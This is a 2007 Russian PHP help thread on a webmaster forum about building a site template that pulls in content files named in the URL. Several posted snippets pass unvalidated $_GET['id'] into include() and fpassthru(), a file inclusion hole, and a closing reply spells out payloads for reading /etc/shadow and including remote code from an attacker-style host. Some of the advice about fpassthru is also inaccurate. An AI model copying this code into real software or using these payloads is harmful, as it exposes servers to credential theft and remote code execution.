Компьютерный форум OSzone.net  

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)
-   Вебмастеру (http://forum.oszone.net/forumdisplay.php?f=22)
-   -   легкая смена дизайна (http://forum.oszone.net/showthread.php?t=78597)

Luke2007 01-02-2007 09:04 544342

легкая смена дизайна
 
Как вставлять разные данные по ссылкам на одну страничку? Замучался уже с этим вопросом. Куча всяких предложений, ничего не работает. Что в этом коде то не так?

Код:

<HTML>
<HEAD>
</HEAD>
<BODY>
<?php
function foo ($in) {
< !--если не вызывается просто index.php3 то происходит вставка вызываемого файла-->
if ($in != "") {$out=$in;}
< !-- если происходит вызов index.php3 без имени файла, то по умолчанию, вставляется файл main-->
else {$out="main";} return $out;}?>

<!--Мой дизайн и навигация-->

<!--Вызов функции с аргументом - именем файла, запрашиваемым пользователем-->
<?php include (foo($QUERY_STRING)); ?>

<!--Мой дизайн и навигация-->

</BODY>
</HTML>

Теперь я вызываю странички так
http://myserver.ru/index.php3?news
http://myserver.ru/index.php3?links
http://myserver.ru/index.php3?about

А можно и просто
http://myserver.ru/?news
http://myserver.ru/?links
http://myserver.ru/?about

Coutty 01-02-2007 09:30 544350

Непонятно, добавляет ли foo() расширение к файлу. По-моему она просто возвращает то же самое, либо main в случае отсутствия переменной. А для include вроде как нужно полное имя файла. Тогда там написисать:
Код:

<?php
function foo ($in) {
if ($in != "") {$out=$in.".php3";}
else {$out="main.php3";} return $out;}?>

Тогда на выходе (для передачи в include) будут получаться строки news.php3 и подобные.
Или же данные хранятся просто в файлах без расширения? Тут есть кое-какие неясности...

Может просто попробовать запросы типа http://myserver.ru/?id=news и обрабатывать их как $_GET['id'] ? Или нужно, чтобы одним словом после вопроса?

Luke2007 01-02-2007 09:39 544354

хочу сделать одну страничку, которая содержала бы структуру, а по ссылкам в эту страничку добавлялись данные. хранящиеся в отдельных файликах.
Вот нашел этот код, ещё язык SSI (не понравился). Мне все равно как делать, хочу научится, понять как это сделать, сделать это. А как в $_GET['id'] делается? не можешь пример кодика выкинуть? Благодарен за отклик.

Coutty 01-02-2007 10:10 544373

Luke2007, а тот, который был выше не подошёл?

Вот второй пример.
Есть страничка index.php (я полагаю, что .php3 не стоит использовать - сейчас вроде как все серверы(сервера?) поддерживают php4 и выше):
Код:

<html><head></head><body>
<!--дизайн, навигация-->
<!-- ниже - основная часть: -->
<?php
if ($_GET['id']=="")
  include ("main.txt");
else
  include ($_GET['id'] . ".txt");
?>
<!-- окончание html-документа -->
</BODY>
</HTML>

В этом случае предполагается, что основной контент всех страничек хранится в корневой папке в файлах с именами типа news.txt, links.txt...
Как это работает:
1. Пользователь вызывает сайт http://myserver.ru/
2. Сервер ищет index.php. Находит. Возвращает результат обработки. В данном случае, строка if ($_GET['id']=="") обозначает, что если переменной id не было в url'е (или она была пустая типа: myserver.ru/index.php?id=), то подключается содержимое файла main.txt. Ну, это и до меня вам было ясно ;-)
3. Если запрашивался адрес типа myserver.ru/index.php?id=news, то код обрабатывает строку после else: включить файл, имя которого состоит из того, что содержалось в переменной $_GET['id'] (т.е. в данном запросе это будет news) и расширения (.txt). точка между строками $_GET['id'] и ".txt" обозначает, что нужно соединить первую строку со второй. Получается имя файла news.txt, который подключается в тело html-документа функцией include.
Тут есть, конечно, вариант, что пользователь "случайно" сделает запрос типа myserver.ru/index.php?id=ass, а файла ass.txt у вас не будет. В этом случае html-документ будет содержать только дизайн и навигацию. Основного содержимого не будет. Для проверки на существование этого файла немного модифицируем код (html-разметку я не переписываю):
Код:

<?php
if ($_GET['id']=="")
  include ("main.txt");
else
  {
  if (file_exists ($_GET['id'] . ".txt"))
      include ($_GET['id'] . ".txt");
  else
      echo "Запрашиваемый документ не найден на сервере. Воспользуйтесь, пожалуйста, навигацией, либо идите нафиг.";
  }
?>

Как видите, изменилось немного. В этом случае, если переменная id содержалась в строке запроса, проверяется, существует ли соответствующий файл. Если да - он подключается, если нет - выводится сообщение об ошибке. Обратите внимание также на фигурные скобки. Хотя, конечно, в данном случае их наличие не обязательно, лучше не пропускать их - чтобы не запутаться в коде =^_^=
Если не нравится, что файлы будут храниться в .txt, можете изменить расширение на любое другое, соответственно изменив и php-код. Но сути это не изменит (защита файлов от прямого просмотра тоже реализуется легко, но это, я думаю, сейчас не важно).

Воть. Это, конечно, довольно примитивное использование php, но для начинающего - самое то. Я сам так учился ;-) Если понравится язык, могу предложить лекции по нему на сайте intuit.ru. Не сказать, что там всё прозрачно описано, но лучше я не видел (в электронном варианте. В текстовом - полно книг хороших и разных).

Luke2007 01-02-2007 10:33 544380

Круто, работает. Спасибо! Все так просто. А я пересмотрел, там такие жуткие коды с примерами были. Я синтаксис языка ещё плохо знаю. Есть пару учебников в электронном виде. Реально нравица один, там даже про эту функцию ниче написано не было. Смотрел с кодированием url, ещё не разобрался. Сейчас поюзаю. А то перерыл много, а ничего до конца не работает. Прочитал что эта include вообще никак не защищена от взлома. Точно ничего не знаю, как защищена, как защищать, как взламывать. Это первое, что работает до конца и правельно, благодоря вам. Оргомное спасибо.

Coutty 01-02-2007 12:47 544446

Защищена от взлома или нет - меня мало волнует. Можете попробовать вместо include() написать одну из следующих функций:
  1. include_once()
  2. require()
  3. require_once()
Результат будет тот же (в данном случае). Вообще, функции с _once() они защищают скрипт от многократного подключения одного и того же файла. Т.е. если в поключаемом файле описан какой-либо класс или функция, то уже второе подключение этого файла вызовет ошибку. А ..._once() обходят это ограничение - просто не включают повторно ;-)

А хакеры, если взломать захотят - всё равно взломают (опытные, конечно. Новички, пожалуй, с этим ничего не сделают). И даже безумно защищённый код. По правилу "умный в гору не пойдёт - умный гору обойдёт". Т.е. проще сервер вскрыть)))
Но вы же особо секретные данные хранить на сайте не собираетесь?)

Luke2007 02-02-2007 07:57 544718

Да, как говорится, замок - это только для честных людей. Мол чтобы у честных людей небыло соблазну испортить вам сайт. Смотрю, разных функций много и работают то по разному, то одинаково, не во всех учебниках преведины все. Я так понял можно тоже самое сделать и

Код:

<?php
if ($_GET['id']=="")
  include_once ("new.txt");
else
  {
  if (file_exists ($_GET['id'])) {
      fopen ($_GET['id']);
      fpassthru($_GET['id']);
    }
  else
      echo "Запрашиваемый документ не найден на сервере. Воспользуйтесь, пожалуйста, навигацией, либо идите нафиг.";
  }
?>

Только почему то не работает :) Моя проблема велика, хочу уметь и знать все сразу, а получается каша в голове.

Еще вопрос. Я таким образом ещё не просто текст подключаю, но и пхп код гостевой книги, добавления новостей. И как я понял, с этим могут возникнуть проблемы, но пока вроде все работает. А что может пойти не так, из за чего произойдет сбой?

Coutty 02-02-2007 11:57 544781

Цитата:

Только почему то не работает
Конечно не работает.
Код:

  if (file_exists ($_GET['id'])) {
      fopen ($_GET['id']);
      fpassthru($_GET['id']);
    }

Итак, проверили файл на наличие. Далее открываем его. Функция fopen() возвращает указатель на файл. Т.е. его надо где-то сохранить. Пишем так: $file = fopen($_GET['id']. ".txt"); (ну или с другим расширением). Указатель на файл сохранится в переменной $file. Далее уже его нужно использовать в следующей функции. fpassthru($file);
Я точно не знаю, но по-моему даже так работать не будет. Потому что прочитанный файл нужно куда-то сохранить. Так? Пишем $content=fpassthru($file);. Содержимое файла сохраняется в переменной $content. Далее эту переменную отправляем на вывод: echo $content; Хотя, конечно, можно написать и просто echo fpassthru($file); А затем не забываем закрыть указатель fclose($file); - на всякий случай.

Цитата:

Я таким образом ещё не просто текст подключаю, но и пхп код гостевой книги, добавления новостей.
В этом случае никаких fpassthru() и подобных. Код подключается только через одну из четырёх функций include-require. Проблемы могут возникнуть если код большой. Т.е. из подключаемого файла подключается ещё какой-то и т.д. С линейной структурой всё должно быть в порядке. Я, например, всегда использую require_once() - и нет никаких проблем. Сбой будет если одна и та же функция подключается несколько раз (что исключается при использовании require_once() и include_once()) - потому что возникает переопределение функции. Можете посмотреть это, создав в основном коде две разные (или одинаковые) функции с одинаковыми именами.

Arrest 02-02-2007 20:53 544963

даже такому куль-хацкеру как мне видна одна уязвимость c fpassthru((не факт, может ее уже пофиксили) index.php?id=/etc/shadow%00 ) и одна с include/require((тоже не факт)(при allow_url_fopen) index.php?id=http://zloyhacker.ru/exploit.php%00 )
так что по-хорошему нужна еще проверка id на возможность :)


Время: 18:19.

Время: 18:19.
© OSzone.net 2001-